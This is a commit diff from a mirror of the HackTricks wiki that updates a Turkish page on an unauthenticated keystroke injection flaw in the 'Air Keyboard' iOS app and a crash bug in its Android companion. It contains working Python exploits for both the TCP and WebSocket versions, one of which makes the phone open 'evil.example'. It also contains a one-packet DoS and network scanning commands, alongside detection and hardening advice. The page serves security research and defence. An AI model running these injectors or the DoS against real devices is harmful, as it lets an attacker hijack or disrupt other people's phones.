mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
dab88aff83
commit
33100a90ef
@ -1,18 +1,26 @@
|
|||||||
# Air Keyboard Remote Input Injection (Kimlik Doğrulaması Olmadan TCP Dinleyici)
|
# Air Keyboard Remote Input Injection (Kimlik Doğrulaması Olmadan TCP / WebSocket Dinleyici)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
Ticari "Air Keyboard" uygulamasının iOS versiyonu (App Store ID 6463187929), **port 8888'de açık metin TCP servisi** başlatır ve **herhangi bir kimlik doğrulaması olmadan** tuş vuruşu çerçevelerini kabul eder. Aynı Wi-Fi ağındaki herhangi bir cihaz o porta bağlanabilir ve kurbanın telefonuna rastgele klavye girişi enjekte ederek **tam uzaktan etkileşim ele geçirme** sağlar.
|
Ticari **“Air Keyboard”** uygulamasının iOS versiyonu (App Store ID 6463187929), **herhangi bir kimlik doğrulama veya kaynak doğrulaması olmadan tuş vuruşu çerçevelerini kabul eden** bir yerel ağ hizmeti sunmaktadır. Yüklenen versiyona bağlı olarak hizmet ya:
|
||||||
|
|
||||||
Bir eşlik eden Android sürümü **port 55535'te** dinler. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulan çöp, **OpenSSL şifre çözme rutininde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
|
* **≤ 1.0.4** – **port 8888** üzerinde 2 baytlık bir uzunluk başlığı bekleyen ham TCP dinleyici ve ardından bir *device-id* ve ASCII yükü.
|
||||||
|
* **≥ 1.0.5 (Haziran 2025)** – **WebSocket** dinleyici, *aynı* portta (**8888**) **JSON** anahtarlarını ayrıştırır, örneğin `{"type":1,"text":"…"}`.
|
||||||
|
|
||||||
## 1. Servis Keşfi
|
Bu nedenle, aynı Wi-Fi / alt ağdaki herhangi bir cihaz, **kurbanın telefonuna rastgele klavye girişi enjekte edebilir ve tam uzaktan etkileşim ele geçirme** gerçekleştirebilir.
|
||||||
|
Bir Android sürümü **port 55535** üzerinde dinlemektedir. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulmuş çöp veriler hala **OpenSSL içinde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
|
||||||
|
|
||||||
|
> Güvenlik açığı **yazım tarihi itibarıyla (Temmuz 2025)** **hala yamanmamıştır** ve uygulama App Store'da mevcut olmaya devam etmektedir.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Hizmet Keşfi
|
||||||
|
|
||||||
Yerel ağı tarayın ve uygulamalar tarafından kullanılan iki sabit portu arayın:
|
Yerel ağı tarayın ve uygulamalar tarafından kullanılan iki sabit portu arayın:
|
||||||
```bash
|
```bash
|
||||||
# iOS (input-injection)
|
# iOS (unauthenticated input-injection)
|
||||||
nmap -p 8888 --open 192.168.1.0/24
|
nmap -p 8888 --open 192.168.1.0/24
|
||||||
|
|
||||||
# Android (weakly-authenticated service)
|
# Android (weakly-authenticated service)
|
||||||
@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
|||||||
```
|
```
|
||||||
Android cihazlarda sorumlu paketi yerel olarak tanımlayabilirsiniz:
|
Android cihazlarda sorumlu paketi yerel olarak tanımlayabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||||
|
|
||||||
# rooted device / Termux
|
# rooted device / Termux
|
||||||
netstat -tulpn | grep LISTEN
|
netstat -tulpn | grep LISTEN
|
||||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||||
```
|
```
|
||||||
## 2. Çerçeve Formatı (iOS)
|
On **jailbroken iOS** üzerinde `lsof -i -nP | grep LISTEN | grep 8888` ile benzer bir şey yapabilirsiniz.
|
||||||
|
|
||||||
Binary, `handleInputFrame()` rutininde aşağıdaki ayrıştırma mantığını ortaya koyuyor:
|
---
|
||||||
|
|
||||||
|
## 2. Protokol Detayları (iOS)
|
||||||
|
|
||||||
|
### 2.1 Eski (≤ 1.0.4) – özel ikili çerçeveler
|
||||||
```
|
```
|
||||||
[length (2 bytes little-endian)]
|
[length (2 bytes little-endian)]
|
||||||
[device_id (1 byte)]
|
[device_id (1 byte)]
|
||||||
[payload ASCII keystrokes]
|
[payload ASCII keystrokes]
|
||||||
```
|
```
|
||||||
Açıklanan uzunluk, `device_id` baytını **ancak** iki baytlık başlığı içermez.
|
Açıklanan *uzunluk*, `device_id` baytını **ama** iki baytlık başlığı içermez.
|
||||||
|
|
||||||
## 3. Exploitation PoC
|
### 2.2 Mevcut (≥ 1.0.5) – WebSocket Üzerinden JSON
|
||||||
|
|
||||||
|
Sürüm 1.0.5, port numarasını değiştirmeden WebSocket'lere sessizce geçiş yaptı. Minimal bir tuş vuruşu şöyle görünür:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": 1, // 1 = insert text, 2 = special key
|
||||||
|
"text": "open -a Calculator\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": false,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Hiçbir el sıkışma, token veya imza gerekmiyor – ilk JSON nesnesi zaten UI olayını tetikliyor.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Sömürü PoC
|
||||||
|
|
||||||
|
### 3.1 Hedefleme ≤ 1.0.4 (ham TCP)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||||
import socket, sys
|
import socket, sys
|
||||||
|
|
||||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||||
|
|
||||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||||
frame += keystrokes
|
frame += keystrokes
|
||||||
|
|
||||||
with socket.create_connection((target_ip, 8888)) as s:
|
with socket.create_connection((target_ip, 8888)) as s:
|
||||||
s.sendall(frame)
|
s.sendall(frame)
|
||||||
print("Injected", keystrokes)
|
print("[+] Injected", keystrokes)
|
||||||
```
|
```
|
||||||
Herhangi bir yazdırılabilir ASCII ( `\n`, `\r`, özel tuşlar vb. dahil) gönderilebilir, bu da saldırgana fiziksel kullanıcı girişi ile aynı gücü verir: uygulamaları başlatma, anlık mesaj gönderme, oltalama URL'lerini ziyaret etme vb.
|
### 3.2 Hedefleme ≥ 1.0.5 (WebSocket)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||||
|
import json, sys, websocket # `pip install websocket-client`
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||||
|
ws.send(json.dumps({
|
||||||
|
"type": 1,
|
||||||
|
"text": "https://evil.example\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": False,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}))
|
||||||
|
ws.close()
|
||||||
|
print("[+] URL opened on target browser")
|
||||||
|
```
|
||||||
|
*Herhangi bir yazdırılabilir ASCII — satır sonları, sekmeler ve çoğu özel tuşlar dahil — gönderilebilir, bu da saldırgana fiziksel kullanıcı girişi ile aynı gücü verir: uygulamaları başlatma, anlık mesaj gönderme, kötü niyetli URL'leri açma, ayarları değiştirme vb.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 4. Android Companion – Hizmet Reddi
|
## 4. Android Companion – Hizmet Reddi
|
||||||
|
|
||||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı** ile şifrelenmiş 4 karakterli bir şifre ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, meşru kullanıcıların bağlantısının kesilmesi için yeterlidir, ta ki işlem yeniden başlatılana kadar.
|
Android portu (55535), **hard-coded AES-128-ECB anahtarı ile şifrelenmiş 4 karakterli bir şifre** ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, meşru kullanıcıların bağlantısının kesilmesi için yeterlidir, ta ki işlem yeniden başlatılana kadar.
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
```
|
```
|
||||||
## 5. Temel Sebep
|
---
|
||||||
|
|
||||||
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrolleri** yok (iOS).
|
## 5. İlgili Uygulamalar – Tekrarlayan Bir Anti-Model
|
||||||
2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulaması eksik) ve **istisna işleme eksikliği** (Android).
|
|
||||||
|
|
||||||
## 6. Azaltma ve Güçlendirme Fikirleri
|
Air Keyboard **izole bir durum değildir**. Diğer mobil “uzaktan klavye/fare” araçları da aynı hatayla piyasaya sürülmüştür:
|
||||||
|
|
||||||
* Mobil cihazda kimlik doğrulaması yapılmamış hizmetleri asla açığa çıkarmayın.
|
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 kimlik doğrulaması yapılmamış komut yürütme ve düz metin tuş kaydı sağlar.
|
||||||
* Onboarding sırasında cihaz başına gizli anahtarlar türetin ve girişi işlemden önce doğrulayın.
|
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 kimlik doğrulaması yapılmamış RCE & trafik dinleme.
|
||||||
* Dinleyiciyi `127.0.0.1` adresine bağlayın ve uzaktan kontrol için karşılıklı kimlik doğrulamalı, şifreli bir taşıma kullanın (örneğin, TLS, Noise).
|
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 varsayılan-şifre-yok, zayıf PIN brute-force ve düz metin sızıntısı.
|
||||||
* Mobil güvenlik incelemeleri sırasında beklenmedik açık portları tespit edin (`netstat`, `lsof`, `frida-trace` üzerinde `socket()` vb.).
|
|
||||||
* Bir son kullanıcı olarak: Air Keyboard'ı kaldırın veya yalnızca güvenilir, izole Wi-Fi ağlarında kullanın.
|
Bu durumlar, **mobil uygulamalardaki ağ yüzeylerine yönelik sistematik bir ihmal** olduğunu vurgulamaktadır.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Temel Nedenler
|
||||||
|
|
||||||
|
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrollerinin olmaması** (iOS).
|
||||||
|
2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulamasının eksikliği) ve **istisna işleme eksikliği** (Android).
|
||||||
|
3. **Kullanıcı tarafından verilen Yerel Ağ yetkisi ≠ güvenlik** – iOS, LAN trafiği için çalışma zamanı onayı ister, ancak bu uygun kimlik doğrulamanın yerini almaz.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Güçlendirme & Savunma Önlemleri
|
||||||
|
|
||||||
|
Geliştirici önerileri:
|
||||||
|
|
||||||
|
* Dinleyiciyi **`127.0.0.1`** adresine bağlayın ve uzaktan kontrol gerekiyorsa **mTLS** veya **Noise XX** üzerinden tünel açın.
|
||||||
|
* **Cihaz başına gizli anahtarlar türetin** (örneğin, QR kodu veya Eşleştirme PIN'i) ve girişi işlemden önce *karşılıklı* kimlik doğrulamasını zorunlu kılın.
|
||||||
|
* **Apple Network Framework**'ü *NWListener* + TLS ile ham soketler yerine benimseyin.
|
||||||
|
* Çözümlerken veya çerçeveleri çözerken **uzunluk ön ek kontrolü** ve yapılandırılmış istisna işleme uygulayın.
|
||||||
|
|
||||||
|
Mavi/Kırmızı Takım hızlı kazanımları:
|
||||||
|
|
||||||
|
* **Ağ avı:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` veya Wireshark filtresi `tcp.port == 8888`.
|
||||||
|
* **Çalışma zamanı denetimi:** Beklenmedik dinleyicileri listelemek için `socket()`/`NWConnection`'ı yakalayan Frida script.
|
||||||
|
* **iOS Uygulama Gizlilik Raporu (Ayarlar ▸ Gizlilik & Güvenlik ▸ Uygulama Gizlilik Raporu)**, LAN adresleriyle iletişim kuran uygulamaları vurgular – sahte hizmetleri tespit etmek için faydalıdır.
|
||||||
|
* **Mobil EDR'ler**, port 8888 üzerindeki düz metin TCP yüklerinde `"selectionStart"`, `"selectionEnd"` JSON anahtarları için basit Yara-L kuralları ekleyebilir.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Tespit Kılavuzu (Pentesterlar)
|
## Tespit Kılavuzu (Pentesterlar)
|
||||||
```bash
|
```bash
|
||||||
# Quick one-liner to locate vulnerable devices in a /24
|
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||||
|
| awk '/Ports/{print $2 " " $4}'
|
||||||
|
|
||||||
# Inspect running sockets on a connected Android target
|
# Inspect running sockets on a connected Android target
|
||||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||||
|
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||||
```
|
```
|
||||||
|
---
|
||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
- [Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyon Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
- [Exploit-DB 52333 – Air Keyboard iOS Uygulaması 1.0.5 Uzaktan Girdi Enjeksiyonu](https://www.exploit-db.com/exploits/52333)
|
||||||
- [CXSecurity danışmanlığı WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
- [Mobile-Hacker Blog (17 Tem 2025) – Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyonu Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user